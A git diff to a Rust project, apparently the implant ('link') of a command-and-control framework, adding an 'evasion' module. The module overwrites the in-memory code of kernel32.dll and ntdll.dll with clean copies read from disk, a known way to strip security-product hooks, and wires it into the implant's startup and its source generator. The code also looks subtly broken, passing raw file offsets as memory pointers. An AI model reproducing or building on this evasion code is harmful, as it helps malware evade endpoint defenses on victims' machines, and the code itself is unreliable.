diff --git a/src/link/Cargo.toml b/src/link/Cargo.toml index e3e2828..41cca5e 100644 --- a/src/link/Cargo.toml +++ b/src/link/Cargo.toml @@ -27,4 +27,4 @@ rustls = "0.19.0" serde = "1.0.118" webpki = "0.21.4" base64 = "0.13.0" -double-ratchet = "0.1" +goblin = "0.3" diff --git a/src/link/src/evasion.rs b/src/link/src/evasion.rs new file mode 100644 index 0000000..f63c4b9 --- /dev/null +++ b/src/link/src/evasion.rs @@ -0,0 +1,101 @@ +use std::fs; +use std::ffi::{c_void, OsStr}; +use std::os::windows::ffi::OsStrExt; +use goblin::pe::PE; + +pub fn refresh_dlls() { + // load dlls + let kernel32_bytes = match fs::read("C:\\Windows\\System32\\kernel32.dll") { + Err(_) => return, + Ok(kernel32) => kernel32, + }; + let ntdll_bytes = match fs::read("C:\\Windows\\System32\\ntdll.dll") { + Err(_) => return, + Ok(ntdll) => ntdll, + }; + // parse dlls + let kernel32 = PE::parse(&kernel32_bytes).unwrap(); + let ntdll = PE::parse(&ntdll_bytes).unwrap(); + // find .text sections + let mut k32_text_ptr: *mut c_void = 0 as _; + let mut k32_text_size: usize = 0; + let mut ntdll_text_ptr: *mut c_void = 0 as _; + let mut ntdll_text_size: usize = 0; + for i in 0..kernel32.sections.len() { + if kernel32.sections[i].name().unwrap() == ".text" { + k32_text_ptr = kernel32.sections[i].pointer_to_raw_data as *mut c_void; + k32_text_size = kernel32.sections[i].size_of_raw_data as usize; + break; + } + } + for i in 0..ntdll.sections.len() { + if ntdll.sections[i].name().unwrap() == ".text" { + ntdll_text_ptr = ntdll.sections[i].pointer_to_raw_data as *mut c_void; + ntdll_text_size = ntdll.sections[i].size_of_raw_data as usize; + break; + } + } + // get dll handles + let loaded_k32 = unsafe {winapi::um::libloaderapi::LoadLibraryExW(get_wide("kernel32.dll").as_ptr(), 0 as _, 0 as _)}; + let loaded_ntdll = unsafe {winapi::um::libloaderapi::LoadLibraryExW(get_wide("ntdll.dll").as_ptr(), 0 as _, 0 as _)}; + // get .text address of dll + let loaded_k32_text = unsafe{(loaded_k32 as *mut c_void).offset(0x1000)}; + let loaded_ntdll_text = unsafe{(loaded_ntdll as *mut c_void).offset(0x1000)}; + // write .text section of known good bytes into potentially bad dlls in memory + // kernel32 + let pid = std::process::id(); + let handle = unsafe {winapi::um::processthreadsapi::OpenProcess( + winapi::um::winnt::PROCESS_ALL_ACCESS, + 0x01, + pid + )}; + let mut old_protect: u32 = 0; + let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( + handle, + loaded_k32_text, + k32_text_size, + winapi::um::winnt::PAGE_EXECUTE_READWRITE, + &mut old_protect + )}; + let mut ret_len: usize = 0; + let _ = unsafe {winapi::um::memoryapi::WriteProcessMemory( + handle, + loaded_k32_text, + k32_text_ptr, + k32_text_size, + &mut ret_len + )}; + let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( + handle, + loaded_k32_text, + k32_text_size, + old_protect, + &mut old_protect + )}; + // ntdll + let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( + handle, + loaded_ntdll_text, + ntdll_text_size, + winapi::um::winnt::PAGE_EXECUTE_READWRITE, + &mut old_protect + )}; + let _ = unsafe {winapi::um::memoryapi::WriteProcessMemory( + handle, + loaded_ntdll_text, + ntdll_text_ptr, + ntdll_text_size, + &mut ret_len + )}; + let _ = unsafe {winapi::um::memoryapi::VirtualProtectEx( + handle, + loaded_ntdll_text, + ntdll_text_size, + old_protect, + &mut old_protect + )}; +} + +fn get_wide(s: &str) -> Vec { + OsStr::new(s).encode_wide().chain(std::iter::once(0)).collect() +} \ No newline at end of file diff --git a/src/link/src/lib.rs b/src/link/src/lib.rs index e488e19..e117ad7 100644 --- a/src/link/src/lib.rs +++ b/src/link/src/lib.rs @@ -1,7 +1,9 @@ pub mod stdlib; pub mod nonstd; +pub mod evasion; #[no_mangle] pub extern fn main() { + evasion::refresh_dlls(); stdlib::link_loop(); } diff --git a/src/link/src/main.rs b/src/link/src/main.rs index 0224c40..064af4f 100644 --- a/src/link/src/main.rs +++ b/src/link/src/main.rs @@ -3,8 +3,10 @@ mod nonstd; mod stdlib; +mod evasion; // UM link fn main() { + evasion::refresh_dlls(); stdlib::link_loop(); } \ No newline at end of file diff --git a/src/util/generate.rs b/src/util/generate.rs index b117383..5e46827 100644 --- a/src/util/generate.rs +++ b/src/util/generate.rs @@ -113,6 +113,10 @@ pub fn generate(args: Vec) { "{}", String::from_utf8_lossy(include_bytes!("../link/src/nonstd.rs")) ); + let evasion = format!( + "{}", + String::from_utf8_lossy(include_bytes!("../link/src/evasion.rs")) + ); let cargo = format!( "{}", String::from_utf8_lossy(include_bytes!("../link/Cargo.toml")) @@ -175,6 +179,10 @@ pub fn generate(args: Vec) { output_file .write_all(nonstd.as_bytes()) .expect("could not write contents to output file"); + output_file = fs::File::create("./src/evasion.rs").expect("could not write file"); + output_file + .write_all(evasion.as_bytes()) + .expect("could not write contents to output file"); output_file = fs::File::create("Cargo.toml").expect("could not write file"); output_file .write_all(cargo.as_bytes())